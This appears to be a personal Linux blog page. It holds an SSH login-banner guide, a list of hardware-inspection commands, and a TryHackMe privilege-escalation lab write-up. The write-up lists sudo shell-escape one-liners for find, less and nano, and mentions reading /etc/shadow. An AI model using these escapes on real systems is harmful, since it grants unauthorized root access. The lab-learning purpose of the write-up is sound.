Showing posts with label Linux. Show all posts
Showing posts with label Linux. Show all posts

Saturday, November 5, 2022

How to change default ssh login banner

To create a cool ASCII art banner for your server, first start off by going here:

ASCII art creator/

To change the message displayed before login, edit /etc/ssh/sshd_config :
sudo vim /etc/ssh/sshd_config
and add (or uncomment) the line:
Banner /etc/banner
/etc/banner can be whatever file you want. Then edit /etc/banner
sudo vim /etc/banner
You’ll probably need to restart sshd before your changes take effect:
sudo /etc/init.d/ssh restart
To change the message displayed after login, edit /etc/motd :
sudo vim /etc/motd
and enter the message you want to display.

Friday, November 4, 2022

Linux system and Hardware details via command line

Uname command

Basic information can be access with command uname. Which is short for unix name.
  1. Linux Kernel Name
  2. uname -s
  3. Linux Kernel Release
  4. uname -r
  5. Linux Kernel Version
  6. uname -v
  7. Network Node Hostname
  8. uname -n
  9. Machine Hardware Architecture
  10. uname --m
  11. Processor Type
  12. uname -p
  13. Hardware Platform
  14. uname -i
  15. Operating System information
  16. uname -o
  17. Displaying All Information of Uname Command
  18. uname -a

CPU Information with lscpu command:

lscpu

Block Device Information with lsblk

lsblk
More detailed information for all devices:
lsblk -a

USB Device Info with lsusb

lsusb
More detailed information on each device:
lsusb -v

Saturday, February 19, 2022

TryHackMe - Linux PrivEsc - Task 6 - Privilege Escalation : Sudo

This is probably one of the easiest type of PrivEsc tasks.
With command :

sudo -l

We check what services we can run as root. adn with this info we can answer Q1
From output of the command we see 3 services/programs that we can run as root. Now that we have this information we can head over to the GTFObins To check for each service/program that we can gain root access to system.
  • Find
  • sudo find . -exec /bin/sh \; -quit

  • Less
  • sudo less /etc/profile
    !/bin/sh

  • nano
  • sudo nano
    ^R^X
    reset; sh 1>&0 2>&0


Note about getting root via nano one command at the time ^R - is CTRL + R and ^X CTRL + X
To answer Q2 we run:

find / -type f -name flag2.txt 2>/dev/null

that we find path to the flag2.txt file
To answer Q3 we neet to check GTFObins to get command.
To answer Q4 we open /etc/shadow to find answer. I hope this post is helpfull for anyone stuck at solving this task.

TryHackMe - Shadow Trace Writeup

 Shadow Trace is premium room on TryHackMe.com part of the SOC Level 1 Path. We need to analyse a suspicious file, uncover hidden clues, an...